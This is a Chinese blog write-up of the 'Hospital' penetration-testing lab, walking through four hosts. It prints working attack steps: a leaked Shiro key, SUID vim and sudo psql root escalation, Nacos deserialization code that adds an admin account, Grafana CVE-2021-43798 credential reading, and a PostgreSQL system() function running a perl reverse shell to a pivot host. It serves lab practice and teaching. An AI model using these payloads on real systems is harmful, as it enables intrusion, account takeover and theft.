Skip to content

春秋云镜-Hospital

约 912 字大约 3 分钟

内网

2025-02-19

前言

又是拖了很久没打的靶场,先从这个看起来比较简单的 Hospital 开始入手

web01

fscan 扫一下发现泄露的这个 heapdump 文件,拿工具提取一下有用信息JDumpSpider

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES
===========================================

发现这个网站存在 shiro 组件,拿 shiro 工具再注一个内存马冰蝎进去,然后连一下

find / -user root -perm -4000 -print 2>/dev/null

观察到有可以进行 suid 提权的信息,这里建议先弹 shell ,更为稳定

image-20250218193716980

vim.basic有suid权限,这里可以直接用vim.basic /root/flag/flag01.txt 读 flag

可以用vim.basic /root/.ssh/authorized_keys去直接写 key ,但是这个交互非常屎,这里换一种交互式shell方法

因为这个里面有 python 环境,所以可参阅实现交互式shell的几种方式后渗透之文件下载(Linux篇)

python3 -c 'import pty; pty.spawn("/bin/bash")'

利用 suid 提权到 root

/usr/bin/vim.basic  -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

再 echo 写入 ssh 公钥,ssh 连接读取 flag 并进行下一步

image-20250218194409838

image-20250218194344589

web02

上一个 fscan 开扫

./fscan -h 172.30.12.0/24

image-20250218194912354

有一个后台,先上传 frp 把隧道搭起来,过几天再学一下 Stowaway,在新版 frp 弃用 ini 之后,我们选择这样配置 frpc.toml 文件

serverAddr = "vps_ip"  
serverPort = 7100 
loginFailExit = true

[[proxies]]
name = "test"
type = "tcp"
remotePort = 6100

[proxies.plugin]
type = "socks5"

proxifier 配置

image-20250219002743568

image-20250219002821087

访问 web02 8080端口服务发现是 nacos ,用工具检测一下发现有 yaml 反序列化NacosExploitGUI

nacos:nacos 登录看到Data id 为 db-config,反序列化的 jar 包需要修改一下,改成添加用户并设置为 administrators

注意这里设置的密码要加符号,不然这个反序列化只能正常打一次,后面 rdp 登不上去,只能重启环境了

public AwesomeScriptEngineFactory() {
    try {
        Runtime.getRuntime().exec("net user aniale pass@123 /add");
        Runtime.getRuntime().exec("net localgroup administrators aniale /add");
    } catch (IOException e) {
        e.printStackTrace();
    }
}

把 jar 包挂在 web01 上,然后python -m http.server 8000去加载,收到请求就成功了,然后 rdp 连上去读 flag

36eb8d8a29a170ec690c5f0f2fbecdcf

web03

访问 172.30.12.236:8080,burp 抓包加插件打 fastjson ,这里 burp 去开 socks5 代理,然后把 proxifier 关了,不然配置会乱抓不到包,在请求头执行命令

64ad15041383563d4ed913a031f90266

弹 shell 到 web01上

web04

发现是两个网卡

image-20250218195555968

./fscan -h 172.30.54.1/24

网络结构发生变化,再开一层代理,web01->frps ,web03->frpc,配置文件和第一层差别不大,proxifier 配一下 proxy chain,然后记得改 rules

image-20250219002928118

image-20250219002858176

Grafana存在CVE-2021-43798,读postgresql用户密码

./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

postgres : Postgres@123

本地 navicat 连上去,后续需要用 psql 提权,所以先改一下root密码,创建命令执行函数,perl 弹 shell 到 web03

ALTER USER root WITH PASSWORD '123456';
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

image-20250218195653191

python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l查看到存在psql

image-20250218200403802

打psql提权:psql | GTFOBins

image-20250218200516999

image-20250218200530930

参考文章

大头SEC

【内网渗透】最保姆级的春秋云镜Hospital打靶笔记